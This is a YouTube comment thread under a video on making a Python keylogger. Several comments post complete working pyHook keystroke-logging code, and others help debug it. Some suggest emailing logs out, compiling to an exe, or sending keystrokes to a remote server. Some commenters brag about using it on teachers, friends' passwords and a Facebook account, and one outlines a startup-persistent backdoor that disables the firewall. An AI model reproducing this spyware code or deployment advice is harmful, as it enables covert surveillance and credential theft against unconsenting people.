How To Make A Simple Python Keylogger

แชร์
ฝัง
  • เผยแพร่เมื่อ 27 ต.ค. 2024

ความคิดเห็น • 2.4K

  • @pawanbhatt314
    @pawanbhatt314 5 ปีที่แล้ว +330

    "Hack to learn, not to hack" - Great Dude

    • @vexanval
      @vexanval 4 ปีที่แล้ว +7

      Hacking is not programming

    • @francometallo215
      @francometallo215 4 ปีที่แล้ว +11

      @@vexanval It is, dumbfuck

    • @irshadtarsoo7734
      @irshadtarsoo7734 4 ปีที่แล้ว +10

      @@vexanval you need to know programming in order to write scripts to hack , else you'll only be a script kiddid

    • @irshadtarsoo7734
      @irshadtarsoo7734 4 ปีที่แล้ว +3

      kiddie*

    • @westernvibes1267
      @westernvibes1267 4 ปีที่แล้ว +2

      @@irshadtarsoo7734 not totally true. It's good to have knowledge about programming so *you can automate the process of Exploitation* , when it comes to pentesting always prefer tools written than companies and group of peoples who update them regularly and add new features. For example GDB. It's pretty dump to say if you can't write your own debugger you're a script kiddie that's how you sounds right now. Hacking from back in the days meant making a system or anything behave in a way it wasn't supposed to behave. It requires manipulating the network by going into it's deepest layers by understanding the bytes , breaking the executables, corrupting their memory and making them run your malicious script. But you should be able to write programs but it's totally fine if you don't belong from a programming background, you can use tools there's nothing to be ashamed of when the community itself wants to help and provide to those peoples. Sorry but hacking is not programming, but yeah it's good to have the knowledge for writing keyloggers and beacons for red teaming

  • @blindradio7634
    @blindradio7634 6 ปีที่แล้ว +388

    He forgot to say "For educational purposes only"

    • @astrallarium
      @astrallarium 5 ปีที่แล้ว +8

      F

    • @krappa1085
      @krappa1085 5 ปีที่แล้ว +27

      *FBI OPEN THE FUCKING DOOR!*

    • @beemo4
      @beemo4 5 ปีที่แล้ว +6

      What if it isnt

    • @sirpickljohn7691
      @sirpickljohn7691 5 ปีที่แล้ว +3

      _you have been banned_

    • @tahaafarooq
      @tahaafarooq 4 ปีที่แล้ว

      hahahaaaa

  • @shieldkeylogger4999
    @shieldkeylogger4999 9 ปีที่แล้ว +24

    I remember when I made my first keylogger using python.. I had a lot of fun writing it. However, now I have moved on to more native programming languages.. which can actually give a keylogger the stability and functionality it needs.

  • @augustopaiva9154
    @augustopaiva9154 8 ปีที่แล้ว +290

    Would be great if you explain what each line of the code was doing, i think would be better for who are learning. Great video thnx

    • @NarcatasCor
      @NarcatasCor 8 ปีที่แล้ว +3

      +Ankush Thakur Can you tell me where I can find the documentation?

    • @onee
      @onee 6 ปีที่แล้ว +6

      Follow The White Rabbit So, what's the point of learning C if you make everything 50 times harder?

  • @aspe1213
    @aspe1213 8 ปีที่แล้ว +439

    no wix I don't need a fucking website now let me watch the video!

  • @matthewvanwinkle7631
    @matthewvanwinkle7631 7 ปีที่แล้ว +5

    This video is amazing! Well done! The music is a great match, the tutorial is hecka easy, and great commentary! I would love to see a follow up video!
    (Liked and subscribed)

  • @chemikalfluffy
    @chemikalfluffy 8 ปีที่แล้ว +74

    Make an in-depth tutorial. I want to know what each line of code does specifically.

    • @mrdoge97
      @mrdoge97 6 ปีที่แล้ว +1

      Sulaiman Adebayo whats ur phone number or icq let me talk to u

    • @Hitman1978
      @Hitman1978 5 ปีที่แล้ว +5

      This is where we're supposed to tell you to go read the DOCS. Each of those modules that were imported have some documentation that explain what they do. But alas, I imagine you don't got time for that?

    • @gideon5942
      @gideon5942 5 ปีที่แล้ว +1

      Josh Sells Guns codecademy exists

  • @matthewmunger4724
    @matthewmunger4724 10 ปีที่แล้ว +7

    You should put all the links in the description.

  • @_evillevi
    @_evillevi 5 ปีที่แล้ว +2

    These videos are great! I can't believe I didn't know about them five years ago!

  • @fantasdeck
    @fantasdeck 6 ปีที่แล้ว +1

    I have a couple of recommendations, though I needed this primarily to build an AutoCorrect database.
    You'll probably want words rather than individual characters to show up on each line, which means that you'll want to prevent "
    " from occurring with every keystroke, only after certain delimiters. Most have a set, but the most common are all major punctuation marks. It's probably use the re module for it, and just say something like re.sub("?P[...]", "
    " + (?P=delimiters), or something like that, if I recall correctly.
    Second, you'll probably want to save the format in UTF-8 rather than ASCII format, especially if you're like me and type in Chinese, as well.

  • @antonio0000x
    @antonio0000x 10 ปีที่แล้ว +22

    Everything is correct but my log file is still blank.

    • @MrImplicitly
      @MrImplicitly 10 ปีที่แล้ว +7

      Same Help!!

    • @Sedgehun
      @Sedgehun 7 ปีที่แล้ว

      Same

    • @technicalilm8999
      @technicalilm8999 7 ปีที่แล้ว

      same

    • @ezekiellopez2224
      @ezekiellopez2224 7 ปีที่แล้ว +1

      I am looking for an answer to this... It seems like it's not logging the Ascii text, rather blank spaces

    • @John_X_GR
      @John_X_GR 6 ปีที่แล้ว

      Guys, i dont know how to fix this, but it seems when you run the file inside idle or pycharm, it logs correctly the characters

  • @chocolatebleach2496
    @chocolatebleach2496 8 ปีที่แล้ว +686

    Lol and all those people who paid like £100 for theirs

    • @arlenreyes4283
      @arlenreyes4283 8 ปีที่แล้ว +23

      +OhhKillerZxD Free keyloggers exist my friend, not all are paid.

    • @AnotherVGP
      @AnotherVGP 8 ปีที่แล้ว +54

      But certain keyloggers are worth 100 pounds. You can either make a shitty keylogger or one that bypasses most, if not all security, works on every OS, organizes what gets logged in a readable manner, autosends it to you via mail or other, and makes itself practically undeletable unless you format by copying itself.

    • @arlenreyes4283
      @arlenreyes4283 8 ปีที่แล้ว +14

      Most of them don't bypass at all. Antivirus flag them right away soon or later.

    • @AnotherVGP
      @AnotherVGP 8 ปีที่แล้ว +5

      Ismael Arlen Reyes I never said most of them bypass, but the quality ones. Learn to read.

    • @arlenreyes4283
      @arlenreyes4283 8 ปีที่แล้ว +7

      Not even the quality ones. Paid Antivirus will likely detect them.

  • @meh15kids
    @meh15kids 10 ปีที่แล้ว +307

    Lol put this on my teachers computer 😂

    • @robbenfan1792
      @robbenfan1792 9 ปีที่แล้ว +6

      haha already got something?

    • @sn-vf1fr
      @sn-vf1fr 9 ปีที่แล้ว +155

      So, what's your teacher's favorite porn website?

    • @mattbeef1221
      @mattbeef1221 9 ปีที่แล้ว +98

      watch those c's turn into 0's when they find out

    • @ervinraduly8322
      @ervinraduly8322 9 ปีที่แล้ว +5

      Do any of you know what code makes the bat file run the script instead of open it?

    • @leontripp3387
      @leontripp3387 9 ปีที่แล้ว +31

      L Da No you're not, you're full of shit. Shut up, grow up, piss off.

  • @sidscott6064
    @sidscott6064 8 ปีที่แล้ว

    ive learned more about programming in 5 minuintes than i have in my whole 3 years of self research. your awesome

  • @renzocabarios3420
    @renzocabarios3420 9 ปีที่แล้ว

    One of the best tutorial it helped see more things than what i could see right now . This had given a perspective of programming

  • @kounter8083
    @kounter8083 8 ปีที่แล้ว +525

    thanks found out my sisters boyfriend was cheating on her and got onto his facebook

  • @mason8335
    @mason8335 5 ปีที่แล้ว +8

    very cool! any tutorial on how to escape from federal agents?

    • @itamar_da_god5651
      @itamar_da_god5651 4 ปีที่แล้ว +1

      I'd watch out if I were you, lay a low profile for about 25 years so the NSA will forget about you

    • @mason8335
      @mason8335 4 ปีที่แล้ว

      @@itamar_da_god5651 it's too late man, the feds got me, I'm in prison for life rn.

    • @itamar_da_god5651
      @itamar_da_god5651 4 ปีที่แล้ว +1

      dang nabbit, those scoundrels! i'll show them who's boss! muhahaha - wait who's knocking on my doo - oh shit

  • @tmanswagg7342
    @tmanswagg7342 9 ปีที่แล้ว +19

    module: pyhook: sourceforge.net/projects/pyhook/files/latest/download?source=files
    import pyHook, pythoncom, sys, logging
    file_log = 'C:/keyloggeroutput.txt'
    def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    print("True")
    hooks_manager = pyHook.HookManager()
    hooks_manager.KeyDown = OnKeyboardEvent
    hooks_manager.HookKeyboard()
    pythoncom.PumpMessages()

    • @SonnyWest87
      @SonnyWest87 8 ปีที่แล้ว +1

      +Timmy Spaeth Is there a ios version of 'pywin32', is the 'pyHook' module download also a win32 based module? I have the IDLE downloaded and i've placed other scripts in it, and they've ran, but im assuming the win32 module wont run through my apple OS. Maybe 'pyHook since it looks like a normal python file.

    • @evanc2185
      @evanc2185 8 ปีที่แล้ว

      +Jacob Westerfield
      pywin32 is a Windows OS interaction module. iOS is an Apple OS, not Windows OS.
      Sorry, but no.

    • @jordanb.7012
      @jordanb.7012 8 ปีที่แล้ว

      +Jacob Westerfield 32 sucks bro...

    • @Griimnak
      @Griimnak 8 ปีที่แล้ว

      +tmanswagg could try through pip
      cd ..
      cd ..
      cd Python27/Scripts
      python pip install pyHook

    • @djl1on641
      @djl1on641 7 ปีที่แล้ว

      youll need to put "C://" not "C:/" otherwise python wont recognize what your trying to do

  • @kulgan96
    @kulgan96 8 ปีที่แล้ว

    some times i miss your older videos you seem a lot calmer

  • @ceracera2254
    @ceracera2254 8 ปีที่แล้ว +1

    that's just awesome! so helpful for me that i'm just in the begining of learnining! thank you so much,people like u we need in youtube

  • @Bendrvry
    @Bendrvry 8 ปีที่แล้ว +15

    Put links in description man

  • @ManintheMakingPodcast
    @ManintheMakingPodcast 7 ปีที่แล้ว +9

    How would I send it through email to activate when someone opens an image?

  • @d.g.k.rrecords9287
    @d.g.k.rrecords9287 8 ปีที่แล้ว +21

    im executing the file and not getting a log file

    • @sohambiswas8865
      @sohambiswas8865 7 ปีที่แล้ว +1

      D.G.K.R Records disable ur anti virus

    • @amrojjeh
      @amrojjeh 6 ปีที่แล้ว +7

      +Soham Biswas That's not how it works. Anti-Viruses don't stop some functionality of the programs but keep it running, they will either completely stop the program or ignore it. If the log file is empty, then it's probably a bug in the code.

  • @ashwinpande7095
    @ashwinpande7095 2 ปีที่แล้ว

    I watched this video when I was an 11-year-old kid lmao. I struggled to understand much back then but this kind of stuff was what got me interested in programming.

  • @OhWord88
    @OhWord88 7 ปีที่แล้ว +1

    Just a heads up... I didn't have Python installed on my computer and I tried doing this with the 3.5 and 3.6 versions and it was giving me a lot of trouble.. Uninstalled both and downloaded the 2.7 Python version and it worked way better without giving me trouble.
    So yes, GO WITH THE 2.7, 32 BIT VERSION.
    pywin modules - sourceforge.net/projects/pywin32/files/pywin32/Build%20219/
    pyhook (2.7, 32 bit version!) - sourceforge.net/projects/pyhook/files/latest/download?source=files
    Hope this helps.

  • @zekiimfx.4641
    @zekiimfx.4641 7 ปีที่แล้ว +5

    I have a problem with log.txt
    If i make it, doesn't work
    If i don't make it, doesn't make automatic

    • @Sedgehun
      @Sedgehun 7 ปีที่แล้ว

      Same!

    • @basilhaj-yehia4240
      @basilhaj-yehia4240 6 ปีที่แล้ว

      the only way i was able to do it is by going to my python Idle and clicking open then selecting the file and then clicking run and then "run module"

  • @truncus5776
    @truncus5776 8 ปีที่แล้ว +17

    how can i install the modules????

    • @JeaneAdix
      @JeaneAdix 8 ปีที่แล้ว +5

      use pip. open cmd as admin. run pip install

    • @Skeke
      @Skeke 7 ปีที่แล้ว

      When i type pip it does not reconigze as a command. What should I do?

    • @serguZESHT
      @serguZESHT 7 ปีที่แล้ว +1

      install pip first

    • @maximpavlenko1664
      @maximpavlenko1664 5 ปีที่แล้ว +1

      @@JeaneAdix NPC meme is dead

  • @MrMegamovieman
    @MrMegamovieman 10 ปีที่แล้ว +5

    Maybe a stupid question. But i cant find the files where it is logged...

    • @akohagg
      @akohagg 10 ปีที่แล้ว

      Seriously, this is pissing me the fuck off

    • @Pod-Z
      @Pod-Z 10 ปีที่แล้ว +2

      it is in the 3rd line..unless you went to your C drive and made a folder named important ..its not being logged...if you wanted to save it to your desktop it would look something like this
      C:\Users\YOUR COMPUTERS NAME\Desktop

    • @akohagg
      @akohagg 10 ปีที่แล้ว

      Used a different one with devC++. Works perfectly.

  • @vardikar270
    @vardikar270 8 ปีที่แล้ว

    hope you're still making videos your videos make a lot of sense to me thank you!

  • @mucgake8763
    @mucgake8763 7 ปีที่แล้ว

    if you want a *major* upgrade, code a socket server at home and have it running, it also needs to receive and print out what it received
    in the logger, make a client that sends every keystroke to the server
    now you have a very nice logger!

  • @ZuzuTyp
    @ZuzuTyp 10 ปีที่แล้ว +104

    In my opinion, this is a very bad tutorial.
    As I am watching your script, you just copied it from the internet, because there are 2 things, that are not needed in your script, like the "chr(event.Ascii)" line and the "return True" line, because they have no use.
    Also it is very hard to keep up with you, because the text is displayed so fast, that you have to stop the video regularly.
    Appended to this, there is no prepared file (containing the script), that you could download, when you have problems with your script.
    The download linkt to the extensions wouldn't be a bad idea, to put in the description, would it?
    The only thing that I can see, that it must have taken you a lot of time, to create all the effects, that are in the video.
    You should try to make it easier for the users, to understand, what you are showing in your tutorial.
    (don't tell, I should too)
    However, please don't answer on this post.

    • @ZuzuTyp
      @ZuzuTyp 10 ปีที่แล้ว +3

      Simon WoodburyForget
      MORE!
      xD
      I mean, really, there are lots of better ways to do this...
      But however, the graphics of this video are quite good!

    • @bazardnubis7723
      @bazardnubis7723 9 ปีที่แล้ว

      Zuzu Typ I agree with you

    • @HHAugummi
      @HHAugummi 9 ปีที่แล้ว

      *****
      of cause it is

    • @yungshiesty5875
      @yungshiesty5875 6 ปีที่แล้ว

      Can you help make me one please ? I want to mess with my friend

    • @ZeroOverflow
      @ZeroOverflow 6 ปีที่แล้ว +2

      You're actually wrong pal. When you hook to an event in windows you have to return a Bool value to the windows hook manager. and the chr(event.Ascii) is the one which actually gets the key pressed, like when a key is pressed for example A then the Ascii value would be 42(I guess so) and that number is converted to the alphabet so its required. for more information read the msdn page of microsoft about hooking to windows events

  • @hristaki99
    @hristaki99 10 ปีที่แล้ว +7

    I've installed everything in order but I get this:
    raise ImportError("No system module '%s' (%s)" % (modname, filename))
    ImportError: No system module 'pywintypes' (pywintypes34.dll)

    • @Justin44777
      @Justin44777 7 ปีที่แล้ว +9

      im a bit late but ik how to fix it, you need to delete your system 32 and it will be fine.

    • @Justin44777
      @Justin44777 7 ปีที่แล้ว

      dude its a joke, u don't even need expirenece from computing, its just common sense so stop acting like ur a pro dev.

    • @Michael-ue2xv
      @Michael-ue2xv 7 ปีที่แล้ว

      I literally deleted every trace of python from my computer and started from scratch again and it still doesn't fix that error for me.

    • @PaulKnutsonSther
      @PaulKnutsonSther 7 ปีที่แล้ว

      You have to (or at least I had to) install pywintypes.
      Open cmd.exe and type:
      pip install pypiwin32

    • @adriannajera8013
      @adriannajera8013 7 ปีที่แล้ว

      just copy the path of pywintypes that is in python->Lib->site-packages->win32->lib and paste it in your system variables

  • @zackgrey4472
    @zackgrey4472 8 ปีที่แล้ว +9

    Do I have to create a log file or does the .pyw create one for me? Because when I execute the file no .txt files show up so im not sure what im doing wrong, thank you

    • @Jifae95
      @Jifae95 8 ปีที่แล้ว

      It creates one for you upon receiving the first keystrokes.

    • @1iMaGiiK1
      @1iMaGiiK1 8 ปีที่แล้ว +5

      You may want to use the keylogger that I have created, it is the same expect its made in c# so it dosnt need the user to have python installed, and it saves file to same folder as exe meaning it can be run on a USB.

    • @zackgrey4472
      @zackgrey4472 8 ปีที่แล้ว +1

      Interesting, mind adding me on skype to send me the script?

    • @AyushMandowara_xx7
      @AyushMandowara_xx7 8 ปีที่แล้ว

      File is created automatically and is stored in the location specified in filename = "location"
      logging.basicConfig(filename=f1,level=logging.DEBUG,format="%(message)s")
      here f1 is file location (f1 = 'C:\\imp\log3.txt' < in my program)

    • @zackgrey4472
      @zackgrey4472 7 ปีที่แล้ว +2

      Weird, I'm putting
      file_log = 'C:\\Users\\%USERNAME%\\Desktop\\Log.txt'
      and it isnt working....any ideas? When I double click it and type, no files pop up in my desktop, please help.

  • @user-by8zk8oz9u
    @user-by8zk8oz9u 6 ปีที่แล้ว

    Thanks! Clear and simple as it commonly necessary

  • @तंत्र
    @तंत्र 6 ปีที่แล้ว

    I loved the way how you explain with some extra spice or some other activities cool.

  • @FabStat
    @FabStat 8 ปีที่แล้ว +4

    it works, but the txt only shows ASCII symbols?! how can i convert them?

  • @amitnayak7917
    @amitnayak7917 8 ปีที่แล้ว +4

    For some reason, This doesn't work for me. I am able to save and run the program that was made in IDLE, but its not showing the characters in the log file. Please Help

    • @SirajQazi1
      @SirajQazi1 8 ปีที่แล้ว +1

      same here bro! Plz help anyone as it shows random characters in log file!

    • @ditoo2002
      @ditoo2002 8 ปีที่แล้ว

      same thing happened to me i tried it on a game and i switched the profile and the only thing i understood was the word profile

  • @Draganko123
    @Draganko123 9 ปีที่แล้ว +19

    Nice! I'll add my EVIILL PLANS TO THIS! MUAHAHAHAHHAHAHAHAHAHAHHA!

    • @ScareyoHexir
      @ScareyoHexir 9 ปีที่แล้ว

      Draganko123... to take over the world XD u cant get me im checking the processes running every startup and i have malwawrebytes anti malware premium and norton (i know norton sucks) XD

    • @Draganko123
      @Draganko123 9 ปีที่แล้ว

      Hampus Gaming (H Channel) You think that will save you? You do know that task manager can be exploited as well! :P Norton does suck :P Malwarebytes is good though!

    • @ScareyoHexir
      @ScareyoHexir 9 ปีที่แล้ว

      Draganko123 ima wait until norton expires and use windows 8 defender it has been so much improved sience last windows defender

    • @jay-hb7el
      @jay-hb7el 6 ปีที่แล้ว

      Do you need to shut up? No? You should. smh.

  • @Retr-lf8hd
    @Retr-lf8hd 7 ปีที่แล้ว +1

    A good idea for a backdoor could be a TCP server/client based application. The server gets put in the C:\Windows\Program Files\(unsuspicious filename), with some malware and some sound files. The malware should not be too harsh, not to delete any files or corrupt anything, but just to be a troll. Then, after getting the IP address and writing it down, you copy a shortcut of the server.pyw file and put it in C:\Documents and Settings\All Users\Start Menu\Programs\Start Up, making it start up every time the computer boots, no matter the user that they pick, all you have to do is disable the firewall and go back to your computer, wait for them to boot the pc back on, type in the IP to the client, and access their computer. I don't recommend using it on someone you don't know or a public computer, because, that would require a DVD with Kali Linux installed on it, an intermediate knowledge of batch/DOS.

    • @bighairyfeet
      @bighairyfeet 2 ปีที่แล้ว

      Kali has an icognito setting that makes it look like windows, or use a virtual box

  • @lwolfer5170
    @lwolfer5170 6 ปีที่แล้ว

    Thanks! I'm just starting to learn python and this helped me alot. To be honest I didn't even know you could script in the python IDE.

  • @ImTheBatchMan
    @ImTheBatchMan 10 ปีที่แล้ว +6

    Why is this music on every single one of your videos? I feel like someone is taking a shit on my soul when I hear it.

  • @awesomeamazing5752
    @awesomeamazing5752 9 ปีที่แล้ว +22

    Just managed to make it send me a email with the keylogs when the pc shuts down. Python is awesome. I can now find out any of my friends passwords.

    • @Shadow77999
      @Shadow77999 6 ปีที่แล้ว +1

      lol no u didnt

  • @plutaoopequenoplaneta1428
    @plutaoopequenoplaneta1428 6 ปีที่แล้ว +11

    thank you for explaining everything so well
    I understood everything that was done haha
    haha
    ha
    dude plz explain stuff more clearly

  • @dondef4140
    @dondef4140 7 ปีที่แล้ว

    Is it just me or does everyone else love this guy??! he doesn't have a face I'd like to punch. And he's not as pretentious as the other coding/hacking tutors out there. I'm hoping he's still active in doing vids

  • @sirruffalot
    @sirruffalot 8 ปีที่แล้ว +2

    Awesome video, very informative and straight to the point.

  • @idomaman4758
    @idomaman4758 8 ปีที่แล้ว +4

    can i send it to somone? if yes how?

  • @TheDamdamas123
    @TheDamdamas123 9 ปีที่แล้ว +4

    I got pyhook and pywin32 but they aren't installation files what do I do?

    • @adetutuogunsowo7939
      @adetutuogunsowo7939 9 ปีที่แล้ว

      ***** stackoverflow.com/questions/21222114/how-do-i-install-python-libraries?answertab=votes#tab-top

    • @TheDamdamas123
      @TheDamdamas123 9 ปีที่แล้ว +1

      Thanks :)

    • @HHAugummi
      @HHAugummi 9 ปีที่แล้ว

      ***** get yourself pip (bootstrap.pypa.io/get-pip.py) and run it. then you can go into your Python/Scripts directory and there you can find "pip.exe". with that and the windows cmd you can install alsmost any module by just saying "pip install NAME", e.g. "pip install pyHOOK". It also allows you to uninstall the modules clean and safe...

    • @TheUniksniper
      @TheUniksniper 7 ปีที่แล้ว

      thanks!

  • @totnottac
    @totnottac 8 ปีที่แล้ว +3

    Hi i know im a bit late but i get this error: File ".\keylogtest.pyw", line 7
    chr(event.Ascii)
    ^
    SyntaxError: invalid syntax
    Does anyone know whats going on? I cant seem to find the problem.

    • @Chimperly
      @Chimperly 8 ปีที่แล้ว

      yeah looks like you have a syntax mistake in line 7 haha, are you sure you copied everything correctly?

    • @totnottac
      @totnottac 8 ปีที่แล้ว

      i think so i checked three times

    • @Yashuu96
      @Yashuu96 8 ปีที่แล้ว +2

      You may not have closed the parenthesis in the previous line.
      logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)')

    • @totnottac
      @totnottac 8 ปีที่แล้ว

      thanks i'll look into that when I'm back at pc

  • @anticeoceo2762
    @anticeoceo2762 5 ปีที่แล้ว

    Dam this guy just made everything make sense for once Thanks !!!!..... SUBSCRIBED

  • @Reddualshock
    @Reddualshock 8 ปีที่แล้ว +2

    I tested this by sending it to my other email and downloading it on another computer is there a way of viewing keystrokes from another computer all together?

  • @GuerreroMisterioso95
    @GuerreroMisterioso95 10 ปีที่แล้ว +8

    That code is outdated and too fancy. This is an easier, cleaner and updated code:
    import pythoncom, pyHook
    def OnKeyboardEvent(event):
    global keylog
    keylog = chr(event.Ascii)
    with open('DATA.txt', 'a') as f:
    f.write(keylog)
    f.close()
    return True
    if __name__=='__main__':
    hook_manager = pyHook.HookManager()
    hook_manager.KeyDown = OnKeyboardEvent
    hook_manager.HookKeyboard()
    pythoncom.PumpMessages()

    • @GuerreroMisterioso95
      @GuerreroMisterioso95 10 ปีที่แล้ว

      I'm working on that. But I'm pretty sure that you will need the smtp module, already included in Python.

    • @GuerreroMisterioso95
      @GuerreroMisterioso95 10 ปีที่แล้ว

      Does your target machine has Python and the Pyhook/Win32 modules installed?

    • @johnmandark6391
      @johnmandark6391 10 ปีที่แล้ว

      where you need to put your text file path in that code??

    • @GuerreroMisterioso95
      @GuerreroMisterioso95 10 ปีที่แล้ว

      It's not needed because the file with the keystrokes log will be created in the same path where you have the script.

    • @ernstwigmann829
      @ernstwigmann829 10 ปีที่แล้ว

      then add them, email modules to make it fun Lulz :)

  • @gabrieldlucacn
    @gabrieldlucacn 8 ปีที่แล้ว +29

    Do I need the modules installed on the target computer (the computer that I want to inject the code)

    • @ethanwickline5162
      @ethanwickline5162 8 ปีที่แล้ว +4

      ^^^ yeah... how is that supposed to work?

    • @sfm4life613
      @sfm4life613 8 ปีที่แล้ว +1

      yes

    • @felixh7699
      @felixh7699 8 ปีที่แล้ว

      Where do I have to save the Modules in order to make the programm working? I saved them in my Downloads folder and it didn't work.

    • @sfm4life613
      @sfm4life613 8 ปีที่แล้ว

      i would imagine that you would need python and the modules which you should be able o just install per usual

    • @DjLukeoum
      @DjLukeoum 8 ปีที่แล้ว +8

      look at py2exe

  • @HHAugummi
    @HHAugummi 9 ปีที่แล้ว +6

    *HOW TO GET pyHOOK*
    some people may have the problem on not knowing how to get pyHOOK,
    so here is the solution:
    grab this file: bootstrap.pypa.io/get-pip.py and then save it somewhere and run it. It will install you PIP. then you go to your Python Directory and in the "scripts" folder you may find a "pip.exe". now you just need to open up the CMD there (startmenu-search for "cmd", then type in "cd" then a space and then the directory where python/scripts/pip.exe is).
    Then type in (into the cmd again) "pip install pyhook". And then you're DONE! finding that solution took me about 2 hours so please ask if you didnt get something yet.

    • @brutus-inter-pares
      @brutus-inter-pares 9 ปีที่แล้ว +1

      haugummi LP C\...\>pip install pyhook
      Collecting pyhook
      Could not find a version that satisfies the requirement pyhook (from versions
      )
      Some externally hosted files were ignored as access to them may be unreliable
      (use --allow-external pyhook to allow).
      No matching distribution found for pyhook
      i have python 3.5 on windows 7 64 bit, should i install some older python version aswell or what should i do ???

    • @HHAugummi
      @HHAugummi 9 ปีที่แล้ว

      Whitehead
      i got 3.3 and it works for me...
      i dunno what to do though :D

    • @maryvest540
      @maryvest540 9 ปีที่แล้ว +1

      How I can install pywin32
      This video is very hard to understand

    • @maryvest540
      @maryvest540 9 ปีที่แล้ว +2

      It doesn't work
      Did I just download the virus
      I mean that can be your key logger
      I deleted faster

    • @Malonomy
      @Malonomy 9 ปีที่แล้ว

      +Haugummi I could get pyHook, but not pyWin, any idea on how to install it please ?

  • @shay3355
    @shay3355 5 ปีที่แล้ว

    bro, you did it...you earned a subscriber...

  • @duzalin8429
    @duzalin8429 7 ปีที่แล้ว

    Good video. What would also be helpful is the ability to run launch.bat off a toolbar icon, since I suspect people use the toolbar just as much as desktop shortcuts.

    • @duzalin8429
      @duzalin8429 7 ปีที่แล้ว

      Ah, duh - right click the icon -- then right click the jump list icon :P

  • @thatwaff1e606
    @thatwaff1e606 9 ปีที่แล้ว +6

    How do you test it

    • @hexrex1108
      @hexrex1108 9 ปีที่แล้ว +1

      +That Waff1e import pyHook, pythoncom, sys, logging
      file_log = 'C:/log.txt'
      def OnKeyboardEvent(event):
      logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
      chr(event.Ascii)
      logging.log(10,chr(event.Ascii))
      return True
      hooks_manager = pyHook.HookManager()
      hooks_manager.KeyDown = OnKeyboardEvent
      hooks_manager.HookKeyboard()
      pythoncom.PumpMessages()

  • @modestmanchild9200
    @modestmanchild9200 8 ปีที่แล้ว +4

    I am very late here.
    However, I have written out all of the code, and installed pywin32 and pyHook for version 2.7.5 with python version 2.7.5.
    However whenever I click the program once saved it says the following: ( screenshot )
    gyazo.com/37ff56741f3a55b049d7349d6dd9b9ef

    • @modestmanchild9200
      @modestmanchild9200 8 ปีที่แล้ว

      Pls help

    • @joshmurphy3887
      @joshmurphy3887 8 ปีที่แล้ว

      TrueChaos whats the link to module download

    • @mitchell2719
      @mitchell2719 8 ปีที่แล้ว +1

      Ran into this issue recently at work. Uninstall, and then reinstall python 2.7.12 (it's good practice to stick to the most recent patch of whatever minor version you're using). Then, make sure that you include the 'pip' package manager in your PATH. If pip is failing, you can download wheels from www.lfd.uci.edu/~gohlke/pythonlibs/, and then target them with 'pip install'.

    • @modestmanchild9200
      @modestmanchild9200 8 ปีที่แล้ว +1

      Fixed already but thanks

    • @savannah2323
      @savannah2323 8 ปีที่แล้ว +1

      How did you fix it? I have run into the same issue.

  • @opskins8034
    @opskins8034 8 ปีที่แล้ว +4

    Is there any way I can make it a link so I can send it to my friend so when he types stuff in it emails it to me or send it to me?

    • @parthmadan5485
      @parthmadan5485 4 ปีที่แล้ว

      Sure.
      Check out GitHub for such keyloggers

  • @insidetrip101
    @insidetrip101 7 ปีที่แล้ว

    but since you programmed it from python, you need to have python on whatever machine you're trying to run it on correct?

  • @lili-zy7qq
    @lili-zy7qq 6 ปีที่แล้ว

    idk what you're all doing, i just needed a base for my keystroke program
    (shows keystrokes in top left corner, pretty nice to have for some games)

  • @SergeantVin
    @SergeantVin 8 ปีที่แล้ว +5

    Where is the data outputted?

    • @Gaviathan
      @Gaviathan 8 ปีที่แล้ว +1

      +Sergeant Vin Anywhere you want it to, the line that says
      file_log = "C:\\AnywhereYouWantItTo\\YourData.txt"

    • @SexualPotatoes
      @SexualPotatoes 8 ปีที่แล้ว

      It's logged in the txt file

    • @renaissauceman
      @renaissauceman 8 ปีที่แล้ว

      Name checks out.

    • @landro3552
      @landro3552 6 ปีที่แล้ว

      it won't be outputted for me

  • @psynomad4108
    @psynomad4108 10 ปีที่แล้ว +4

    My zemana anti logger program works lol it puts random shit in the file :)

  • @nitihngupta
    @nitihngupta 10 ปีที่แล้ว +5

    unable to find log.txt file

    • @Sedgehun
      @Sedgehun 7 ปีที่แล้ว +1

      yes

  • @KhronicYT
    @KhronicYT 6 ปีที่แล้ว +1

    Does this keylogger works if the victim's pc have not python installed in it?

  • @zut25
    @zut25 8 ปีที่แล้ว

    nice tutorial very professional and straight forward. subscribed.

  • @DecidelyUnethical
    @DecidelyUnethical 10 ปีที่แล้ว +4

    Help, someone.
    import pyHook, pythoncom, sys, logging
    file_log = 'C:\\Users\\User\\Documents\\log.txt'
    def OnKeyboardEvent (event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True
    hooks_manager = pyHook.HookManager()
    hooks_manager.KeyDown = OnKeyboardEvent
    hooks_manager.HookKeyboard()
    pythoncom.PumpMessages()
    The error is: Invalid character in identifier. Idk what i've done wrong!

    • @Super123456789nick
      @Super123456789nick 6 ปีที่แล้ว +1

      Error2147483647 try to import like this
      import pyHook
      import pythoncom
      ... Same as all

  • @viashadow1515
    @viashadow1515 8 ปีที่แล้ว +84

    I just learned how to hack in 5 minutes

    • @Calypp0
      @Calypp0 8 ปีที่แล้ว +129

      no you didn't

    • @FreeAmericaFromAIPAC
      @FreeAmericaFromAIPAC 8 ปีที่แล้ว +45

      u learned a* hack , not how to hack .... big difference buddy

    • @SexySnorlax
      @SexySnorlax 8 ปีที่แล้ว +26

      no this isnt hacking you use a code written by someone else to hack peeps
      learn to program

    • @viashadow1515
      @viashadow1515 8 ปีที่แล้ว +28

      hey guys I was joking lmao. I know hes not teaching people to hack. guess I need to work on my sarcasm?

    • @Calypp0
      @Calypp0 8 ปีที่แล้ว +4

      Kinda xD

  • @SimplyDev
    @SimplyDev 3 ปีที่แล้ว

    Oh that's interesting. I used pynput to make a keylogger in one of my videos and I personally think it's much simpler!

  • @Anon-tj7qb
    @Anon-tj7qb 9 ปีที่แล้ว +1

    The next thing to do with this would be to use py to exe. Which converts python programs to exe programs. This would ensure that where you place the keylogger you don't need python installed on the machine. :)

  • @cudamalloc9054
    @cudamalloc9054 7 ปีที่แล้ว

    Came for programming
    Learned how to add modules
    Thanks!

  • @gollumei
    @gollumei 5 ปีที่แล้ว

    This is really intense music. I could imagine this being played as the background music to a zombie chase scene

  • @HannzWG
    @HannzWG 6 ปีที่แล้ว +1

    yo thank you very much now all i have to do is to learn more about phython thank you

